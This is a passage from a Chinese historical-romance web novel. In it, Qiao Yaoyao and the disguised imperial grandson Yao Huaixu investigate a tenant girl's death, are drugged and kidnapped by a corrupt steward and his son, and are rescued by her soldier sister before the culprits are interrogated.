姚淮序翻坐起身,看着床上四平八稳躺着的人,又好气又好笑,自己写的什么玩意儿真没点数?一点自知之明都没有!
他又躺下,烦死了,睡觉!查个什么就要查,脑子抽了才想从乔杳杳入手,山上捉下来野猴似的不讲道理!
睡到半夜,有两声哭泣在屋内突兀响起,姚淮序耳朵灵瞬间判断出是乔杳杳又梦魇了。
他对着窗户面无表情看了会儿月亮,认命起身,凑近去看,漂亮人哭成了小泪人,虽然乔杳杳总是欺负人、不讲理,但她真的很漂亮,他叹口气,给乔杳杳轻轻拍背,像上次乔杳杳梦魇一样。
姚淮序觉得自己对待亲妹妹都没这么尽心尽力,如今对待假妹妹真算是掏心掏肺,他堂堂一个皇太孙怎么就混成了这个模样?
罢了。
看着乔杳杳逐渐舒展的睡颜他开始琢磨,怎么着才能让乔杳杳带自己回乔府呢?
13. “我,乔元娘,一个都不写”
雨停初晴,到处都是泥土的芳香,李嬷嬷和于伯从城内回来,乔杳杳仰躺在摇椅里,初晴露水重,身上搭着一件毯子。
姚淮序坐在窗户边侧榻上看书,一抬头就能将院中景象收入眼中。
“小姐怎么在外面躺着?清明前后冷两天,日子降温,沉月怎么由着小姐性子躺在院子里?”李嬷嬷放下手里东西就去催乔杳杳起身,姚淮序耳朵竖着。
乔杳杳眼睛都没睁开,懒懒道,“嬷嬷,我就躺一会儿。”
沉月嘴巴一张一合给李嬷嬷比划,“心情不好。”
李嬷嬷在摇椅旁边坐下,把毯子给乔杳杳掩严实,“昨个儿下雨,把小姐淋着了?厌撅撅的没精气神,欸,苏小姐怎么样了?”
“好着呢~”乔杳杳阴阳怪气道。
沉月正经回答道,“苏小姐在屋里给小姐写字帖。”
乔杳杳翻身,不爱听,没良心的东西!
于伯把物什安置妥当,隔三两步距离弯身行礼,道,“小姐,打听了一圈儿,郡内的布庄有不少家都有这种布料,买家多一时间也查不出来,也不曾听说春娘和谁交好。”
“嗯……辛苦于伯。”
乔杳杳眼睛还是闭着,仿佛根本不在意这件事情了。
于伯和李嬷嬷一噎,互相对视,谁也不知道乔杳杳这是怎么了。
李嬷嬷把沉月拉到侧屋询问昨天到底发生了什么,沉月从头到尾讲一遍,李嬷嬷也摸不着头脑,按说昨天知道凶手可能是李从方应该高兴啊,怎么忧愁起来?
乔杳杳脑子里计较,李从方大概率就是凶手,是他推春娘下河并且伤了春娘吗?如果是,他和春娘什么时候开始的?
之前说李从方想和春娘定亲但是李从方为人浪荡刘家没同意,既然如此刘家夫妇想来是在乎女儿的,怎么这次遇害却不吱声?
事关女儿家的清白吗?院子里的手帕几乎可以断定是李从方的,那刘春娘埋在院子里是想表明凶手吗?
设想,如果是涉及女儿家清白,李家提亲失败,李从方萌生恶意强迫刘春娘,刘春娘不愿他便伤人一把把春娘推进河里,那春娘是什么时候埋的帕子?难道不止一次?
如果不止一次那刘家夫妇应当知道,可事实上他们不知道,否则怎么会轻易让人挖花圃?可若是不知道明显看着春娘死有蹊跷,为什么隐而不说、不为之讨回公道?
难道有什么难言之隐吗?是什么难言之隐?清白?不,他们似乎不知道春娘和李从方的事情,
可……真的不知道吗?
是因为对方位高权重吗?不,他们若是知道是李家可能心有余悸觉得自己没办法给他们撑腰,倒也说得过去,他们应当是不知道,那既然知道是李家春娘便不用再埋帕子,
这只能说明刘家夫妇不知道。
所以刘家夫妇到底隐瞒着什么?
春娘如果想让人查埋帕子无可厚非,刘氏夫妇给花圃翻修自然而然就能看见,让刘氏夫妇一看就明白这背后之人便是这帕子主人,可若是想让父母知晓为何不直接说?因为对方是庄子上主管家怕连累父母吗?既如此又为什么埋帕子?
乔杳杳想着想着不自觉蹙起眉头,干脆脱掉鞋窝在摇椅里,很没规矩,可这院子里又没有外人,无所谓了。
她整个人蜷缩在毯子里,想不出头绪,百无聊赖地看着远处起起伏伏、若隐若现的山峦,
云山乱,晓山青,可云山已乱,她却不得山青。
要弄明白春娘为什么不愿意让刘氏夫妇知道但是仍要埋帕子的原因,还有清楚刘氏夫妇到底隐瞒了她们什么才不愿意给春娘鸣冤鼓。
想的出神没察觉身后有人接近,姚淮序弹她脑门,把人从走神中拉回来。
乔杳杳只不轻不重瞥他,姚淮序含笑挑眉,今日倒是好说话没吵着闹着弹回来。
他把红珠算盘递给她,乔杳杳不接,目光随着眼睑往上抬,落在那张观音像的面上。
说话毫不客气,“大骗子出来做什么?百八十张字帖写好打算累死我了?”她直视,眼里充满挑衅,
“你尽管写,我,乔元娘,一个,都不描——”
姚淮序就笑,合着还生气呢,又想起昨天晚上手指的触感,盈盈不堪一握,娇软纤细是楚腰,面上烧起来,不自在摸摸鼻子连忙掏出写好的纸,“我教你算数。”
乔杳杳当即忘本,惊喜起身狗腿似的请姚淮序坐在自己摇椅上,半拖着鞋坐在对面,“那我们开始吧!”
纸上写道,“你看账本,举一个例子,如果说……”
乔杳杳看的仔细,可皇宫里教书的先生的珍藏可不是这一时半会儿就能参透的,加上姚淮序有意断断续续的教,一柱香下来乔杳杳只懂了入门基础。
“果真不好学。”
姚淮序心想,好学我想这么多弯弯绕绕的可就白费了。
想归想,他拿出另一张写好的纸,“没关系,来日方长,水滴石穿非一日之功。”
简直是完美理由,乔杳杳没学会之前肯定会把自己留在身边。
两个人歇了下来,乔杳杳看着院角的梨树心里又开始嘀咕,
庄子的蚕丝卖给往年的买家就行,价格给的合适。其他的……现在没功夫去谈鸡蛋的定价,虽然费老七压着但尚在盈余。
目前已经知道李从方是凶手,可她单凭帕子又没法证明李从方就是凶手,那帕子随处可见,怎么说都行。
隔岸观火,看不真切,帮不上忙。她找不到那条通往对岸的路,没有思绪,陷入了僵局。
突然有些烦,连她是乔家三小姐都不能避免。
姚淮序又写了两张纸,第一张,“我想去城内看看。”
第二张,“什么时候去?”
乔杳杳拿着纸若有所思道,“得等春娘的事情结束以后,现在郡内有贵人,人多又乱,过了这两日我带姐姐亲自去逛。”
说起这个她可是信手捏来,“北郡的绸缎铺子,南市胭脂玉石,除此之外犄角旮旯的地道小吃、名楼美酒,但凡北郡有的就没有我不熟悉不知道的!”
贵人?他倒是听桃肆说了,盛州远嫁草原的公主行至北郡便停了,说不舍故乡。也不知道桃肆现在在北郡城里有没有找好落脚处,他得加快速度。
姚淮序看着眼前人手舞足蹈,嘴角上扬,另一只手打开锦盒,里面是乔杳杳从李从方身上扒下来的帕子,同春娘埋的那条配色针脚一模一样。<
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p>乔杳杳还在乐,顺手拿起对着阳光来回摆弄反复观看,猛地站起身,“阿序姐姐!”
姚淮序示意她看另一个盒子里的一条,果不其然,两处都有。
乔杳杳一刻也耽搁不下,“沉月!沉月!备马车!”
她踢踏着鞋往屋里跑,刚跨过门槛又折返回来,手扶在门框上,殷切问道,“阿序姐姐,刘家呢?刘家有事情瞒咱们。”
姚淮序早就把写好的纸条给她看,
“且找且看且等,乔元娘,细心些。”
乔杳杳被说也不恼,乐呵呵回屋换衣服,春寒料峭,胡乱打了一个喷嚏又笑。
沉月道,“小姐这是怎么了?”
“有眉目了吧。”
李嬷嬷也不知道,但她知道小姐这是高兴了,目光落在不远处的姚淮序身上,姚淮序早就敛了笑容,可嘴角笑意却压不住,春光明媚,爬上观音般的美人面庞,李嬷嬷晃神,后也笑,
她刚竟然把对方看作男子,可跟小姐同吃同住又怎么可能是男子,不过苏小姐确实身量长的快,一开始只比小姐高一点,现在又高一点,怎么她家小姐就不长个子了呢?
李管事用过早膳,他只是一个管事不过两进院子,不算两个小仆竟也用着三四个嬷嬷丫鬟,好不奢侈。
李从方哆哆嗦嗦走到正堂,噗通一声跪在李管事身旁,抱住他的腿。
“爹!爹!你救救儿子!昨日昨日我在河边碰到了刘春娘。”
李管事一脚踢开李从方,骂道,“你个混账东西你还有脸提,平日里不着规矩闯下如此大祸你还有脸来找我?!”
李夫人在旁规劝,顺着李管事的气性,“老爷别生气,方儿不过一时糊涂气不过,那刘家怎么敢退咱家的亲?一群目光短浅的鼠辈!”
她朝瘫坐在地上的李从方问,“不过那刘春娘都死了,你又哪里看见?三更夜里看不清也是常有的事,你怕不是遇上……”
李夫人是个聪明的,她没将话说完李管事已经明白,怕不是遇上谁装神弄鬼了吧。他又怒又气,连踢李从方两脚,“彻夜不归,你去河边做什么?我看你是越来越无法无天了!”
李夫人边拉架边问道,“可丢了什么?”
李从方从河边醒来已经是今日黎明,又冷又饿,又惊又恐,连忙回府换了衣服就来找父亲,他怎么知道丢了什么?
李夫人恨铁不成钢,突然问道,“你那帕子可还有?”
李从方本想点点头可刚才换衣服确实是没有,他整个人慌乱起来,“没……没有了母亲。”
李管事大怒,把茶杯摔在地上,骂道,“你个蠢货,烂泥扶不上墙的玩意儿!”接着又指责李夫人,“都是你学盛京风气,好好地在帕子上绣什么小字?一个两个气死我好了!”
李夫人不像李从方那么颓丧,面如灰色,她安抚两人道,“那字绣的隐蔽,不对着光看发现不了,再说了谁会拿帕子对着光看?”
“老爷!”一名小厮匆匆跑进来,递给李管事一封信,上面写着,“李管事,亲启。”
“何人送来的?”
小厮摇摇头,“这信放在门缝处,只有信不见人。”
李管事拆开,一看,大惊。
14. 凭什么?
李夫人在一旁看到其中内容,略微斟酌,下定决心道,“老爷,干脆一不做二不休,就按照信上所说办吧。”
“糊涂!这信来历不明,若是让主家知道了我李家还能有命?!这是杀头的罪!你别忘了北郡都是乔家的!”
李夫人跪下扯李管事的衣服,声音恳切,泪水朦胧,哭着道,“老爷!事情都到这种地步你难道还要看着方儿去送死吗?你贪的钱财那乔三小姐已经开始着手查了,李家左右逃不过一劫不如搏一搏,富贵险中求啊!
老爷!待……三小姐查明白,李家依旧逃不过!只要……只要咱们手脚干净利索些,不会有什么问题的!不会有什么问题的!”
李管事扇了李夫人一巴掌,李夫人顺着力道瘫坐一旁,玉簪碎在地上,簪着的头发散落,头上垂下一缕,正好遮住眼睛,晦暗不明。
李从方跪行至李管事旁边,恳求道,“爹!求求你救救儿子,儿子不想死!爹你不是最疼儿子了吗?!只要咱们安排周到,不会出问题的!爹!”
李管事扇完李从方手都是抖的,年逾五十的他脊梁骨渐渐弯曲,最后颓丧认命摔坐在椅子上。
一堂笑话。
乔杳杳先让于伯去城内请衙门,也不知道那方大人和和亲公主走了没,应该是没有,否则哥哥早就来了,阿姐过完年以后就去了军营,二月中旬回家一次,掰着指头算,她已经好久没见阿姐了。
李嬷嬷从马车外敲门,“小姐,是吴管事。”
“停车。”
乔杳杳从窗户探头,问,“吴管事有什么事吗?”
“三小姐,果园有些账还想给三小姐看,另外,庄子上的婆子们做出来了糖水果子。”
“当真?”乔杳杳惊喜,这糖水果子本就是她听说盛京有冒出来的一时想法,抱着试一试的心态,当时做不出来她早就放弃了,没想到真有婆子做出来了。
“是,不过还要请小姐去看看,是不是这个味道,顺便把这些时日的鸡蛋钱入了公账。”
乔杳杳哪里知道真的糖水果子是什么味道,她回头看姚淮序,姚淮序也正看她,手指搭在窗柩上有规律地一下又一下敲点,而后下巴微抬,示意她跟着吴管事去。
吴管事来的蹊跷乔杳杳未免不知,她只是相信姚淮序,加上也想看看吴管事为着什么这个节骨眼儿来。
姚淮序就更简单了,这么一去肯定中陷阱,中了陷阱乔家一着急就把乔杳杳带回乔府了。
天色还早,于伯来回也需要时间,于是她道,“那就去果园吧。”
吴管事犹豫道,“这两日账目多,我把账本搬回家了。恐怕还要请小姐去家里看账。”
这就更奇怪了,不过吴管事向来勤勉,把账本拿回家看倒也说的过去。
“还请吴管事带路。”
吴管事家离果园也有些距离,正巧和乔杳杳的院子在庄子上是对角。
吴管事家的院子朴素,规格比刘家的大,布局比乔杳杳的简单。
“吴管事,你也种三月春吗?”院子墙角种着三两株三月春,不大精神,风一吹就摇摇欲坠似的。
吴管事跟在身后也看了一眼,道,“内人喜欢种花,不知寻谁家要来了三月春说要养着试试。”
乔杳杳了然,“夫人不在吗?”怎么没见出来相迎?
“岳丈身体抱恙,她回乡下侍奉了。”
沉月轻扯乔杳杳衣袖,乔杳杳若有所思,真巧。
糖水果子装在罐子里,果肉软和甜蜜,糖水散发着果子清香,甜而不腻,乔杳杳没吃过盛京的糖水果子,可她一尝这个便知错不了。
乔杳杳吃的高兴,挑眉问姚淮序怎样,姚淮序难得点头夸赞。
桃肆递消息后他就开始怀疑吴管事。如果他没记错的话,这个管事曾经说去过锦州,又是乔家庄子上的管事……这就很巧妙了。
沉月和李嬷嬷也各得一碗。
吴管事拿出账本给乔杳杳看,乔杳杳却转手递给沉月,随后道,“这账本我带回去看,时间不早了我还有事。”
吴管事一怔,笑道,“小人糊涂,耽误了小姐的时间。”
从吴管事家里出来她们便往李管事家赶,行至果园的时候李嬷嬷忽然感觉不适,浑身酸软无力,再一看旁边车夫也昏昏欲睡。
她忙起身撩起车帘子去看乔杳杳,手还没掀起来就让人按住没了知觉。
乔杳杳醒来以后浑身乏力,脑子也昏昏沉沉的像是睡了一场大觉,不分黑天白夜。一动,手脚被绑在身前,眼睛被蒙上黑布,嘴巴里也塞了棉布。
低头扯掉嘴里的棉布,嘴巴长时间被堵住一时间有些僵,她试着发音,“沉……沉月,阿序姐姐?”
旁边发出一声闷响钝物碰撞的声音,乔杳杳低头费力扯掉遮眼睛的布,周围依旧很黑,适应一会儿勉强视物。
角落里坐着一个人,是姚淮序,乔杳杳挣扎两下,发现绑着自己和姚淮序的是粗麻,这应该是一间柴房,堆放着柴火跟杂物,还有一个带泥土的小锄子靠在旁边。
乔杳杳费力挪到姚淮序身边,小声道,“姐姐,我把你眼睛上的黑布现扯下来,你往前靠一靠。”
她认为苏清序不能说话,嘴里塞不塞东西都一样,只是不舒服而已,看不见东西会更害怕。
姚淮序点点头,微微倾身,粗麻磋磨得手腕发红,映衬手腕手指白皙漂亮。
他感受着身前少女靠近,和他的脖颈相错,然后咬开绑着眼睛的布条。布条落的那一瞬他闻到了属于乔杳杳的味道,很熟悉,他身上也是这种味道,这是乔杳杳每日都会在屋子里熏的香的味道。
从来没有一刻,像现在这样让他觉得香味浓郁,血液逆流像是山庄血战的那一日,太近了,他一偏头便能看见乔杳杳的睫毛忽闪,目光落在她的唇上,沾了点口水,娇艳欲滴。
姚淮序偏头,避开视线,乔杳杳却道,“别动,姐姐。”
她的鼻尖碰到他的鼻尖,气息交织喷洒在他的面上,然后咬住了他口中的软布往外拽,姚淮序感受到异物一点点被咬出去,一种异样从心里升腾而起。
他张张口要说些什么,又想起来苏清序是个哑巴,又闭上。
热意从耳垂蔓延到耳尖,脸也发烫,还好是晚上,夜色帮他做掩。
乔杳杳认真和姚淮序对视,对方浅色瞳孔十分漂亮,细细地看,苏清序面相跟观音像并不相似,不过依旧很是漂亮。
她拿着从角落里捡的并不锋利的石头一点点磨捆姚淮序的绳子,嘴上不停,认真道,“一会儿你就往山上跑,哪里能躲往哪里跑,不要去搬救兵,也不要管我。”
姚淮序的心跟着乔杳杳吐露的这番话一同安静下来,他吃的时候就预料到了,不过吴管事没想要他们的性命量也少。
“李管事和吴管事合谋想要杀人灭口,沉月和李嬷嬷不知道被关在哪里,姐姐,我知道你有点本事,所以一
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会你要一直往出跑,跑到他们找不到的地方。”
姚淮序一把抓住乔杳杳的手打断她的动作,他故意让他们到此地步可不是为了把她真送进虎口。
乔杳杳不好意思地笑了笑,手上动作不停,“对不起啊姐姐,不过你不用担心,每个人都有自己的过往,都有自己要做的事情,也都有要去的远方。我知道你只是暂住,也知道你会离开,同样,我和乔家会永远帮你保守这个秘密,如果可以,也会助你一臂之力。”
这是把姚淮序的身份挑到了明面上。
乔杳杳絮絮叨叨又开始说别的,“我的床底下让我藏了一盒钱,这是我攒的全部家当,你取了之后……”
姚淮序蹙眉,反手握住乔杳杳的手,这时他才发现石头多棱角,划破了她的手。他抻直乔杳杳的手掌心,一笔一画写道,“别慌,不会死。”
乔杳杳长舒一口气,没说话打算继续割绳子,姚淮序发现她其实在发抖,接了她手里的石头一只手拿住继续磨另一只手握住乔杳杳的指尖。
姚淮序心想,我只是怕她把自己吓死。
四周很安静,乔杳杳感受着对方指尖的温热,反手用自己指尖去搓弄对方的指尖,逐渐冷静下来,开始一点点梳理。
这是一个柴房,仔细听四周还有风声,虫鸣,所以他们应当还是在庄子里,李管事和吴管事找人抓了他们却并不伤人说明对方还有别的顾忌,若是杀掉乔家必定誓不罢休,如此一来他们便是要拿自己和苏清序当做人质,以此逃路,必要时以乔杳杳做威胁。
那他们要往何处逃?往北是边州十六城,往南是中州四郡。
是中州!
按照李管事和李从方的行事作风必是去中州。不巧,在北郡通往中州的方向需要过一处关检。附近有军营,大姐在那里。
若是这样想,沉月和李嬷嬷应当是安全的,要有人回去报信,好让人知晓乔杳杳和苏清序被绑,这样筹码才有价值。
可如此一来,只为逃命有过于繁琐,为何不直接迷晕他们再说自己有乔三小姐口信和信物外出采买紧需物件,如此一来能省事不少,虽然也会被拦,可相对来说便松散很多。只要带够钱财,李家家眷人数也不多,编了理由总能蒙混过去。
忽而有两道争论声传来,乔杳杳竖直耳朵听见李管事和李从方的声音。
“母亲呢?母亲还没来咱们就这么走了吗?”
李管事咬牙道,“紧要关头谁知那妇人去了哪里!箭在弦上,不得不发。你若是不走便也留在这北郡!”
乔杳杳和姚淮序对视一眼,不免唏嘘,夫妻本是同林鸟,大难临头各自飞。
李从方不过犹豫一瞬便下定决心道,“母亲不过是一介妇人,想必乔家不会为难。父亲,咱们何时起身。”
乔杳杳心里冷笑,凭什么认为乔家不会为难?
乔家自祖祖父起便镇守边疆,祖父更是驻守北郡在草原人进犯、边州十六城皆失守时不退一丝一毫,守住了盛州的城门,后带父亲与叔父收复边州十六城,叔父战死,父亲镇守北郡。
乔万屹今岁四十八,五岁习武,十六跟随父亲上战场,足足三十二年,乔家三代未曾有人封侯,得此功绩早该封侯拜相,可乔万屹还是个将军,一个郡的代职郡守。
乔家为黎民百姓而守,不为官禄,未曾埋怨,可即便如此,天下悠悠众口,每称赞一份敬重一份,盛州便忌惮一份。
凭什么?
15. 目的达成
乔杳杳七岁能看完史书的时候就知道天下人如何称赞乔家同沈家世代忠勇,也知道盛州为何给沈家封侯而给乔家金银赏赐。
迟迟不来的不止是爵位,还有日益渐远的信任。
回想起北郡在盛州日益艰难的处境,想起盛京的忌惮,所以,她乔家,合该不计较吗?就因为世代忠勇便要处处忍让吗?就要因为他们好而被人拿捏、威胁吗?
李管家和李从方推门而入,身后还有两个小厮,一推门便看到乔杳杳和姚淮序已经醒了不免吃惊,看见她们两人手上还捆着绳子时心又放回肚子里。
乔杳杳先发制人,“李管事,你不怕午夜梦回良心不安吗?!”
李管事没了之前在乔杳杳面前那副伏低做小地姿态,面色不悦,道,“三小姐,这是你自找的。庄子上的账本我给你看你却不满意,那你就别怪我了。”
“那春娘呢?”
“女子失足坠河身亡是常有的事,三小姐,太大惊小怪了。今日出郡还要仰仗三小姐,希望三小姐能好好配合。”
乔杳杳盯着他道,“我若是不呢?”
李管事笑,“那就别怪小人不客气了。”
李从方迫不及待上手把两人从地上拽起,早就没耐心在一旁听她和李管事一来一往绕圈子。
李从方这时认出乔杳杳时那天的假鬼,鼓了鼓一侧腮帮子,道,“原来是三小姐,三小姐如此丽质何必扮做那等丑女吓人?”说着他上手摸乔杳杳脸颊。
“李管事!”
“好了!孽子!再学不会老实你便和你母亲一同都别走了!”
李从方脸色变了又变,五颜六色,最后只能忍气吞声收手站在一旁。
“三小姐,得罪了。”李管事招呼两人把乔杳杳和姚淮序抬到一辆马车上,随后自己和李从方也坐了进去,车夫驾马朝中州而去。
弯月挂上树梢,天色渐暗。
李管事靠在车厢旁假寐,李从方不动声色去摸姚淮序的手,狗改不了吃屎。
乔杳杳忽然出声,“李管事,你们就这么走了吴管事怎么办?”
李从方敛了动作,李管事睁开眼睛疑惑道,“他与我何干?”随后又想起什么,“怪会装可怜卖好,也亏得三小姐信任。”
他整理整理自己衣袍,又道,“三小姐可别被他骗了去,不是我这好人心反倒信了黑心肠的家伙。”
乔杳杳呵笑一声,半步不退,“李管事还是好自为之吧。我大姐可没那么好说话。”
接下来一路都很安静、顺畅。
沉月和李嬷嬷醒来发现马车上没人,车夫也幽幽转醒,三人心惊胆寒,面色苍白,囫囵爬起连忙分头找人。
三人再愚钝也明白吴管事有问题,小厮摘了马车套骑马便往城内赶,李嬷嬷和沉月回小院儿看人有没有回去。
推开门只有一地梨花,心都凉了半截。
于伯到衙门讲明原委,轻易就带出了衙役去押人。因着之前乔杳杳叮嘱方大人和公主尚在不要闹大了便没回乔府也没让衙门的人吱声,只当是件案子,交由下面小官便好。
他带了人本预计傍晚到庄子上,可刚走到城郊一半远远看见小厮策马而来。
“于管家,不好了,小姐让人绑了!”
衙役们大惊,于伯见过大风大浪,遇事镇定经得住事,他先让小厮把来龙去脉讲明白随后自己一人先策马去往军营方向,小厮依旧回府报信,衙役们则去庄子上抓人。
乔家接到消息已经是黄昏落日时,乔将军在衙门陪方大人,乔夫人则跟公主说话。乔青松在院子里来回踱步,拿定主意先飞了信鸽通知乔亭雪,再派人去给乔万屹报信。
每年庄子上主管事来庄子上报账时他见过李管事,谄媚,阿谀奉承,一看便知是贪财惜命之徒,李从方他虽然没见过,可贪图美色、害人身亡更不是什么良善之辈。
他只是随口逗着乐没成想乔杳杳竟然真能撞上凶手并套出来话。
乔青松跟着乔万屹会接触些朝廷公事,他对于朝廷算计、派系纷争比乔杳杳要敏感多了。
越分析心越往下沉,寻常为财好说,正巧赶上盛京官员在,若是……看来郊外这小庄子里,当真是,卧虎藏龙,他想起自家妹妹跟在自己屁股后面喊“哥哥”讨着吃桃酥的样子,也想起乔杳杳儿时被绑救回来每天晚上不敢一个人睡总是偷偷找他的样子,越发焦急。
一个时辰之后月上柳梢头,李管事的马车停在了中州关,乔亭雪一身劲装,高束马尾,一柄长枪负于身后,夜风吹扬衣摆,猎猎作响。
她坐于马上居高临下看着李管事的马车,身后是一字排开的士兵,身穿银甲,银甲在火把的照应下磷光闪闪。
她从容道,“李管事,还要我请你下来吗?”
李管事单手推开车门下车,立于车旁,未曾行礼,与乔亭雪直视。
乔家嫡女在军营多年,早就风吹日晒练得她独有的将领之气,剑眉星目,隐约可见乔万屹年轻时跟随乔老将军征战四方的将帅之姿,只是未经沙场多少还是有些青涩。
稍斟酌,李管家率先垂眸拱起双手,道,“大小姐安好,烦请大小姐高抬贵手放小人一马,出了北郡地界待安全后三小姐必定完璧归赵。”
乔亭雪扬唇一笑,“你又算是个什么东西?不过是个背信弃主的不忠不义小人,我拿什么信你,我又凭什么信你?”
她说话不徐不疾,却十分有威压。
乔杳杳从平稳声音中可窥见她统领一方将士在演武场训练,说一不二,将令如山。
姚淮序一路上一直在默默割麻绳,功夫不负有心人手上的已经让他割断,李从方拿刀架在乔杳杳的脖子上时刻注意着外面的动静。
姚淮序不动声色握住乔杳杳的手,让她摸自己的手腕,乔杳杳垂眸片刻,抬头盯着李从方道,“人真的是你杀的吗?”
李从方咯噔一下,问,“什么意思?”
乔杳杳扬声道,“李管家,你让人
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算计了都不知,母亲怎么会让你做了庄子上的主事?”
李管事不理睬,只道,“还望三小姐劝劝大小姐,否则鱼死网破,咱们谁也落不着好处。”
乔亭雪俯身,睨眼看他,“你在威胁我?”
“不敢。”
李从方沉不住性子,心不在焉有些慌了神。
乔杳杳继续道,“我一直以为春娘是李从方杀的,但是他为人又过于怯懦,推人下河或许是一时怒意上头没控制住分寸,可杀人确是不敢。李管事是见过大风大浪的但他可不是,刀架在我脖子上还要抖三抖。”
李从方被说恼怒,把刀逼近,脖子上划出红线,他心里慌张一门心思全在乔杳杳说的话上,一点没注意姚淮序已经解开束脚的绳子。
“你闭嘴!”
他情绪激动,面脸涨红。
姚淮序猝不及防给李从方一个手刀,另一只手截住刀没让刀再近一分,这个动作危险又大胆,任何一个环节出错都有可能让乔杳杳丧命。
李从方不可置信地看着姚淮序渐渐手上松了力,人昏厥过去。
姚淮序沉默着解开乔杳杳的绳子,莫名有些心虚,乔杳杳对他一笑,没心没肺,他更是沉默了,余光止不住去看红线,越发刺眼。
解开绳子后,乔杳杳起身推开车门,车夫还未回头乔杳杳便将那人踹下去,士兵把马车团团围住,乔亭雪的银枪直指李管事项上人头。
军营大帐里,乔杳杳的伤做过简单处理后和姚淮序正吃晚膳,乔亭雪拿着白布擦她把柄银枪,马尾随着动作来回晃荡。看他两人吃的差不多后她才开口问道,“怎么回事儿?”
帐子里只有他们三个人,乔杳杳伸手给自己倒了一杯茶又给姚淮序倒了一杯,清清口道,
“庄子上不简单,刚开始只死了一个佃户之女,我以为是李从方就那李管事的儿子所为,因着姑娘家名声那刘氏夫妇不愿意作证,得了证据我便让于伯去衙门请人。”
但好像想错了,说到这里她又顿了顿,“郡内父亲政事繁忙,我便没让于伯报上去,算计着先叫人来压了李从方。”
她意有所指,怕方大人得知将这事情闹大,到时候父亲难做,刻意避而不谈,继续道,
“但是走到一半就遇上另一个管事,他请我去看账还说出了新点子吃食让我们去尝,我们都吃了。随后我惦记着拿人怕李从方跑掉便带了账本先走,那吃食下了药,再醒来就到了李管事手里。”
乔亭雪问,“那吴管事也是同伙?半路遇人你就没觉出来不对?”
乔杳杳一噎,避开第二个问题答话,“不是,我问了李管事,他似乎并不知道。”
乔亭雪蹙眉,“还有人在暗处?事情既然如此棘手你又受了伤,那庄子就先别去了。”
乔杳杳被暗算那时就知道这庄子约莫着是回不去了,不免觉得惋惜,嘴上答应实则心里还在惦记着回去找父亲求情。
姚淮序手指在杯壁摩挲,目的达成。
16. 乔杳杳对峙审问李氏父子
“那阿姐,我知其中关巧,我陪你一同审问吧。还有,你要派人去那庄子上把吴管事和李管事的夫人抓住。”
乔亭雪也是这个意思,庄子上的事情乔家要先明白,今时不同往日,北郡住着外人,一举一动都有可能让盛京拿捏住把柄,待到明日送去公堂再遇上方大人主事的话,对乔家来说可就太被动了。
但她没一口答应下来,反而看向姚淮序,道,“这位便是苏小姐?”
“是的阿姐。”乔杳杳起身走到阿姐身边,小声道,“阿姐,她不会说话。”
乔亭雪了然,斟酌道,“我知苏小姐有些拳脚功夫,但今日情况特殊,苏小姐稍有不慎便会枉送舍妹性命,车内情形我不知,但我只知那李从方拿刀架在舍妹脖子上。
舍妹得救也该感谢苏小姐,不过…还望苏小姐日后小心行事。”
姚淮序起身弯腰致歉,身影更显单薄。
他知道乔家把他当做山霖山庄仅剩的孤女,所以乔杳杳才处处体贴,乔家暗地里上心,不过涉及到乔杳杳的安危时,又是另一回事。
同样,他也不得不承认,虽然乔亭雪是个女子,但假以时日必能成为镇守一方的大元帅,不过因着自家妹妹在没有拿威严,可对着他时那审视的眼睛便将一切都说明,何况她知自家妹妹不是蠢货,没有明知有异还去的道理,乔杳杳也未必真的不知。
这是防着他也是敲打他。
“阿姐!”乔杳杳不悦去推乔亭雪的胳膊,“那情况紧急,李从方又情绪易动,苏小姐更是救了我,阿姐怎么不分青红皂白就要怪罪人?”
姚淮序神色晦暗不明,垂眸安安静静站在副将位置处。
乔亭雪叹一口气知道自家妹妹护短,拿手指戳她额头,宠溺道,“好好好,于伯往过赶了,一会儿你直接回府,我派人送你们。”
乔杳杳手背在身后朝姚淮序上下来回摆动,姚淮序就势坐下,端杯掩饰心绪,乔亭雪嗤笑。
乔杳杳装作无事眨巴眼睛,“阿姐将人提来吧。”
乔亭雪斜眼瞧她,勾唇,拍拍手,外间人将李管事父子提到帐中,两人都被反绑住手脚,两侧还有两名士兵。
乔杳杳从容大方走到李管事面前,话却是问李从方,“春娘可是你杀?”
李从方不屑,把头偏向一侧,旁边的士兵见状把李从方踢跪倒地。
乔杳杳下意识去看姚淮序,生怕把人吓着。
一回头发现姚淮序面无表情垂眸正在喝茶,松一口气,
接着问李从方,“不说吗?你还有的选吗?证据确凿,你丢的帕子在我手里,处处都是破绽和证据,你以为不说就查不出来吗?”
她看向李管事,说得缓慢,字字清晰,引诱道,“李管事在庄子上辛辛恳恳多年,母亲看在眼里记在心上,不过就是这两年吞了主家些银财,算不得了什么大事。
但令郎杀人则另当别论,李管事为人父一定知自家儿子什么性子。他胆子怯懦,平日耍耍威风行可见了真刀子就又是另一回事。
今日我信李管事此举非本意,现如今给你们将功折罪的机会,管事,不愿意吗?况且春娘究竟怎么死的还有待考究。”
李管事双眼混浊,直盯着乔杳杳的眼睛,似乎在辨别真假,思酌半天后沙哑开口,“说吧。”
李从方本想反驳,可触及乔亭雪的银枪和审视般的注视,心里生出胆怯,挣扎一瞬,缓缓开口,将他和春娘的事情和盘托出。
一开始他不过是见春娘生的好看,多加骚扰,后面恳请父亲去刘家提亲,刘家夫妇瞧不上李从方的做派拒绝了,李管事被驳面子拂袖而去,本以为这事到此为止就了了。
可李从方气不过到城内喝花酒后回家的路上竟然遇到了春娘,酒虫上头她拉着春娘便问她为什么不愿意嫁他,春娘和他争执过程中不慎被他推下水,李从方酒醒落荒而逃。
“当时可只有你们二人?”
“还……还有小厮……”
“为何不救春娘?!河水浅不一定就能淹死人,兴许还有存活机会。”
李从方失神恍惚道,“我当时太害怕了,叫小厮匆匆回了家。第二日也没听见刘春娘的死讯,还以为她自己上了岸……”谁知过了几日便听到刘春娘的死讯,他吓得在城内住了好几日不敢回庄子上。
“你可随身带刀了?”
“不曾,我从来没有这个习惯。”
乔杳杳冷笑,当时春娘一定是爬上岸了,不知是谁,螳螂捕蝉,黄雀在后,捅了春娘一刀。
“你那手臂处的抓痕何时所伤?为什么所伤?”
“春娘被发现第二天,我在城内喝酒,不小心被一女子所伤。”
李从方说这话时眼神躲闪,想他去的也不是什么好地方。
“清明那天晚上你为什么去河边?”
李从方支支吾吾半天才说明白,是因为瞧见一个俊俏女子,不知不觉跟着就到了河边。
真是狗改不了吃屎。
“乔护军,外面有一人自称是于朗。”士兵隔着帐篷通报。
“传。”
“是。”那人匆匆离去,不多时于伯便进来。
